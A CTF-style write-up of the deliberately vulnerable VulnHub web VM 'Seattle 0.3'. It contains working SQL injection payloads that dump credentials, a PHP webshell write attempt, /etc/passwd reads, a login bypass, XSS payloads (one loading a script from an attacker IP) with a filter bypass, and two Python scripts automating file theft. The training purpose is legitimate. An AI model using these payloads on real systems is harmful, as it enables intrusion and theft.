Graceful’s VulnVM is web application running on a virtual machine, it’s designed to simulate a simple eCommerce style website which is purposely vulnerable to a number of well know security issues commonly seen in web applications. This is really a pre-release preview of the project but it’s certainly functional as it stands, but I’m planning on doing a lot of work on this in the near future.
The plan is ultimately to have the application vulnerable to a large number of issues with a selection of different filters at different difficulties that way the as testers become better at detecting and exploiting issues the application can get hardened against common exploitation methods to allow the testers a wider ranger of experiences.
The first filters have now been implemented! The application now supports “levels” where Level 1 includes no real filtration of user input and Level 2 includes a simple filter for each vulnerable function.
Currently it’s vulnerable to:
- SQL Injection (Error-based)
- SQL Injection (Blind)
- Reflected Cross-Site Scripting
- Stored Cross-Site Scripting
- Insecure Direct-Object Reference
- Username Enumeration
- Path Traversal
- Exposed phpinfo()
- Exposed Administrative Interface
- Weak Admin Credentials
Enumeration
Let’s get the box ip with arp-scan
1
arp-scan -I eth1 192.168.56.100/24
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 192.168.56.156 -p-
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
Just a normal page with many options to exploit. Before get deep into them, let’s run a gobuster
Gobuster
Let’s start crafting a little more on the box to see if we can enum more things do explore. I use zip, because I know that possible we will need to get the source code from anywhere.
1
gobuster dir -t 100 -u http://192.168.56.156 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip
We found a bunch of directories in it. Fine. All of them we must be logged in to access. So, let’s go deeper in the login tab now
Let’s start trying exploitation in the order of the tabs
Level 1
We see that we have two levels in this box.
Let’s start for the level 1.
Home
In the first one, home, we have link for all the others
Vinyl
In vinyl tab we found possible SQLInjection
In burp, we got the mysql error with a single quote
We got that we have 5 columns
1
type=1+ORDER+BY+5--+-
1
type=1+ORDER+BY+6--+-
So, we can start extracting data from there
1
type=1+UNION+SELECT+1,2,3,4,5--+-
So, let’s extract
We get this cheat sheet to help us
With this query we found the tables of the current database
1
type=1+UNION+SELECT+1,2,table_name,4,5+FROM+information_schema.tables+WHERE+table_schema=database()--+-
And here the columns
1
type=1+UNION+SELECT+1,2,column_name,4,5+FROM+information_schema.columns+WHERE+table_schema=database()--+-
We found three of them very interesting, id, username and password
Knowing the tables and the columns of the seattle database, we can get the username and passwod
1
2
type=1+UNION+SELECT+1,2,username,4,5+FROM+tblMembers--+-
type=1+UNION+SELECT+1,2,password,4,5+FROM+tblMembers--+-
admin@seattlesounds.net:Assasin1
Clothing
Let’s go to clothig tab now
Again, we possibly get sqlinjeciton here
With a single quote we trigger the error
We got 5 columns
1
type=2+ORDER+BY+5+--+-
1
type=2+ORDER+BY+6+--+-
We found the vulnerable place
1
type=2+UNION+SELECT+1,2,3,4,5+--+-
The same way before, we extract the username and pass
1
2
type=2+UNION+SELECT+1,2,username,4,5+FROM+tblMembers--+-
type=2+UNION+SELECT+1,2,password,4,5+FROM+tblMembers--+-
Write Files
Here we could try to write a php malicious on the server to get RCE
Seems that we have no permission
1
type=2+UNION+SELECT+1,2,'system($_GET[\'c\']);+?>',4,5+INTO+OUTFILE+'/var/www/html/shell.php'--+-
Read Files
We can also read files with the sqlinjection
1
type=2+UNION+SELECT+1,2,LOAD_FILE('/etc/passwd'),4,5--+-
We could do a python script to make this LFI better
Here it’s
auto_lfi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto File Read LFI
# Seattle0.3 Level 1 - VulnHub
import argparse
import requests
import sys
from bs4 import BeautifulSoup
import re
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Let's read files!
def readFile(rhost):
url_ori = "http://%s:80/products.php?type=2" %rhost
print("[+] Type exit to exit ! [+]")
prefix = "Reading file: "
file = ""
cookies = {'level':'1'}
while True:
file = input(prefix)
if file != "exit":
url = url_ori + "+UNION+SELECT+1,2,LOAD_FILE('%s'),4,5--+-" %file
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
output = r.get(url,headers=headers,proxies=proxies,cookies=cookies)
container = re.search(r"1.jpg><strong>Product Name: </strong>.*<strong>", output.text, re.DOTALL).group(0)
if output.headers['Content-Length'] == "2738":
print()
print("[+] File does NOT EXIST !!! Or I can't read it !!! [+]")
print()
else:
container = str(container)
container = container.removesuffix("<br /><strong>")
container = container.removeprefix("1.jpg><strong>Product Name: </strong>")
print()
print(container)
else:
print()
print("[+] Exxxxitting.... !! [+]")
print()
break
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
rhost = args.target
'''Here we call the functions'''
# Read LFI
readFile(rhost)
if __name__ == '__main__':
main()
Account
We see a login page here
We try a random login to see how it works
Ok, we send it to burp, and try a single quote
Worked!
What we need now is just a valid mail, and we can get it on the Blog tab
admin@seattlesounds.net
Now, it’s easy to bypass it’s password
1
usermail=admin@seattlesounds.net'--+-&password=123
We got success, logged in!
In the firefox tab
We see that we can write posts on the blog
1
<script src="http://192.168.56.153/Test"></script>
And yes, it worked!
We have XSS here!
Ok, but we cannot have too much to exploit because we need a interaction to trigger it.
We could see the php content of the blog.php file with our LFI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<div class="content">
<div class="prod-box">
<div class="prod-details">
<?php
include 'connectioni.php';
if (isset($_GET['author'])) {
$stmt = $link->prepare('SELECT name,username FROM tblMembers WHERE id = ?;');
$stmt->bind_param('i', $_GET['author']);
$stmt->execute();
$userResult = $stmt->get_result();
$userRow = $userResult->fetch_assoc();
echo '<strong>Viewing all posts by ' . $userRow['name'] . ' (' . $userRow['username'] . ')</strong><br /><br />';
$stmt = $link->prepare('SELECT * FROM tblBlogs WHERE author = ?;');
$stmt->bind_param('i', $_GET['author']);
}
else {
$stmt = $link->prepare('SELECT * FROM tblBlogs;');
}
$stmt->execute();
$result = $stmt->get_result();
if (mysqli_num_rows($result) == 0) {
if ($_COOKIE["level"] = "1") {
echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';
}
else {
$author = $_GET["author"];
$author = preg_replace("/<[A-Za-z0-9]/" , "", $author);
$author = preg_replace("/on([a-z]+)/", "", $author);
echo 'Couldn\'t find any posts by author: <span class="author-' . $author .'">' . htmlentities($author) . '</span>.';
}
}
if (!$result) {
echo "DB Error, could not query the database\n";
echo 'MySQL Error: ' . htmlentities(mysql_error());
exit;
}
while ($row = $result->fetch_assoc()) {
$stmt = $link->prepare('SELECT name,username FROM tblMembers WHERE id = ?;');
$stmt->bind_param('i', $row['author']);
$stmt->execute();
$checkResult = $stmt->get_result();
$checkRow = $checkResult->fetch_assoc();
echo '<div class="list-blog">';
echo '<strong>' . $row['title'] . '</strong> by <a href=/blog.php?author=' .$row['author'] . '>' . $checkRow['name'] . '</a><br /><br />';
echo $row['content'] . '<br /></div>';
}
?>
</div>
</div>
The original echo messsage is:
1
echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';
When we just change it to the get parameter we trigger the XSS
1
echo 'Couldn\'t find any posts by author: <span class="author-"><script>alert("xss")</script>">' . htmlentities($_GET['author']) . '</span>.';
As we can see here in this demo from php files execution
This payload:
"><script>alert("xss")</script>
first escape the author with the double quote, then close the span tag with >, then script tag is openened and executed!
I’ll jump in the level2
Path Transversal
We can get a path transversal to in the brochure download option
Let’s make a python script to get it auto too
And here it is
path_transversal.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto File Read LFI - Path Transversal
# Seattle0.3 Level 1 - VulnHub
import argparse
import requests
import sys
from bs4 import BeautifulSoup
import re
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Let's read files!
def readFile(rhost):
url_ori = "http://%s:80/download.php?item=" %rhost
print("[+] Type exit to exit ! [+]")
prefix = "Reading file: "
file = ""
cookies = {'level':'1'}
while True:
file = input(prefix)
if file != "exit":
url = url_ori + "/../../../../../../../..%s" %file
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
output = r.get(url,headers=headers,proxies=proxies,cookies=cookies)
if output.headers['Content-Length'] == "41":
print()
print("[+] File does NOT EXIST !!! Or I can't read it !!! [+]")
print()
else:
read = str(output.text)
read = read.removesuffix('\n')
read = read.removesuffix('<div class="products-list"></div>')
read = read.removesuffix('\n')
read = read.removesuffix('</div>')
print()
print(read)
else:
print()
print("[+] Exxxxitting.... !! [+]")
print()
break
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
rhost = args.target
'''Here we call the functions'''
# Read LFI
readFile(rhost)
if __name__ == '__main__':
main()
Ok, now let’s go to the level 2
Level 2
We change it
So, now let’s start the exploration again
Vinyl and Clothing
Let’s go to the vinil tab and see how it’s working
With one single quote we got the same SQL Error, showing that it is still vulnerable
We can extract it the same way
For both pages
Username
Password
Blog
The XSS in blog is a little different, I noticed it when I saw the level 1
1
2
3
4
5
6
7
8
9
10
11
if (mysqli_num_rows($result) == 0) {
if ($_COOKIE["level"] = "1") {
echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';
}
else {
$author = $_GET["author"];
$author = preg_replace("/<[A-Za-z0-9]/" , "", $author);
$author = preg_replace("/on([a-z]+)/", "", $author);
echo 'Couldn\'t find any posts by author: <span class="author-' . $author .'">' . htmlentities($author) . '</span>.';
}
}
The level 2 it sanitize the code before put in the tag, so we need to find a way to bypass the original tags
I’ll as basis which one I used before
"><script>alert("xss")</script>
We did it, and it has been bypassed
"><<oscript>alert("xss")</script>
will be "><script>alert("xss")</script>
with the filters applied to the input